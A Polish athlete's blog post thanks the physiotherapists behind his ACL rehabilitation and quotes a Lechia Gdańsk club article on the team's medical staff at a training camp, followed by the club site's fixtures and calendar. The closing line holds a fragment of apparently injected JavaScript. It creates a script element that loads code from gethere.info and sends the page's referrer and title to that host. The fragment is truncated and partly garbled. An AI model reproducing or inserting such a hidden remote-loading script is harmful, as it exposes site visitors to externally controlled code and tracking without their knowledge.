Artykuł o moich rehabilitantach:)

14.02.2012 / Mariusz Cieśliński

Znalazłem artykuł o chłopakach ,którzy stoją za moją rehabilitacją i powrotem do pełnej sprawności po rekonstrukcji ACL.Poniżej zapraszam do przeczytania :)

* AKTUALNOŚCI
Mnie wyprowadzali na prostą  z ciemnej doliny.Bez ich wsparcia i fachowości bym się tak szybko nie pozbierał po tak ciężkim urazie :).Ich wskazówki, moja ciężka praca plus dieta i support firmy Trec Nutrition z jej produktami to coś co pozwoliło mi ułożyć już kalendarz startów na ten rok.FIGHT & SPORT ADDICTION :)!

Newsy
Zdrowie piłkarzy jest w ich rękach
2012-02-06

Na zgrupowaniu dzień zaczyna się dla nich tuż po godzinie 7, a kończy po 23. Mają za zadanie dbać o zdrowie piłkarzy Lechii i zapobiegać urazom. Mowa o Robercie Dominiaku i Michale Rogackim – sztabie medycznym zespołu Biało-Zielonych.

Na obóz zabrali ze sobą cztery metalowe skrzynie z różnymi medykamentami, które ważyły łącznie 100 kilogramów. A w nich lekarstwa, bandaże, plastry, maści, suplementy diety, odżywki – czyli wszystko to, co może być przydatne podczas zgrupowania. – Zdrowie piłkarzy jest dla nas najważniejsze – podkreślają zgodnie Robert Dominiak, trener odnowy biologicznej i Michał Rogacki, fizjoterapeuta Lechii.
Niemal każdy dzień na obozie zaczyna się dla nich bardzo wcześnie. Pobudkę mają tuż po godzinie 7. Najpierw muszą przygotować się do codziennych obowiązków. Tuż przed śniadaniem odwiedzają ich zawodnicy, by dokonać pomiaru swojego ciała. Niezależnie od tego, co trzy dni dokonywane są oficjalne pomiary piłkarzy – waga ciała i poziom tkanki tłuszczowej. Całość wyników jest dokumentowana na potrzeby sztabu trenerskiego.
Michał Rogacki odpowiada za codzienne zaopatrzenie zawodników w suplementy diety żywieniowej i przygotowuje dla nich płyny. Robert Dominiak ma z kolei za zadanie dbać o zdrowie piłkarzy i przeciwdziałać urazom.
Po śniadaniu rozpoczyna się dla nich praca, mająca na celu przygotowanie Lechistów do porannego treningu. Scenariusz każdego dnia jest praktycznie taki sam. Zawodnicy kolejno przychodzą do ich gabinetu, na potrzeby którego zaadoptowano jeden duży hotelowy pokój. – I zaczynają się wcierki, ćwiczenia rozgrzewające, masaże mięśni. To ma za zadanie przygotować chłopaków do pracy na boisku – wyjaśnia Robert Dominiak. Na nim spoczywa też zastosowanie wobec niektórych kinesioteapingu, czyli nałożenia na nogi specjalnych plastrów, które mają wspomagać lub wyhamować pracę mięśni podczas treningu. Stosowany jest też teaping, który ma na celu stabilizować stawy skokowe.
Piłkarze Lechii korzystają z usług sztabu medycznego codziennie. Ale są też stali bywalcy w gabinecie fizjoterapeutów. – To ci, którzy mają różne drobne dolegliwości i potrzebują dodatkowego przygotowania organizmu do wysiłku – tłumaczy Robert Dominiak. Ten ostatni, gdy inni piłkarze trenują, wykonuje ćwiczenia z zawodnikami narzekającymi na drobne urazy lub wracającymi do zdrowia.
Dalsza część dnia wygląda tak samo. Kolejne wizyty piłkarzy, masaże obolałych mięśni, wcieranie maści rozgrzewających. Popołudniowy trening, po nim znów praca z zawodnikami. I tak do godziny 23. W międzyczasie jest wieczorna odprawa z pierwszym trenerem, a na niej omówienie stanu zdrowia piłkarzy i szczegółowego planu zajęć na następny dzień. – Choć ta praca jest momentami bardzo wyczerpująca, to gdybyśmy mieli cofnąć czas, niczego byśmy nie zmienili – podkreślają zgodnie Robert Dominiak i Michał Rogacki.

Udostępnij

poprzednie artykuły:
Usprawnienie obsługi parkingów
2012-02-10
Skład Lechii na mecz z Mołdawianami
2012-02-06
wszystkie»

Inforlinia Lechii Gdańsk – 58 7 688 688
zapisz się »

* Karta Kibica Lechii Gdańsk
*
* Punkty sprzedaży biletów i pamiątek
*
* Punkty Partnerskie Lechii Gdańsk
*
* Punkty sprzedaży LG Energy Drink

Luty
,
2012

Pn Wt Śr Cz Pt So N
30 31 1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 1 2 3 4
5 6 7 8 9 10 11
2012-02-18 15:45 Ekstraklasa 2011/2012
Cracovia – Lechia Gdańsk
2012-02-24 18:00 Ekstraklasa 2011/2012
ŁKS Łódź – Lechia Gdańsk
2012-03-03 18:00 Ekstraklasa 2011/2012
Lechia Gdańsk – Wisła Kraków
MAPA SERWISUs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‚script’); if (document.currentScript) {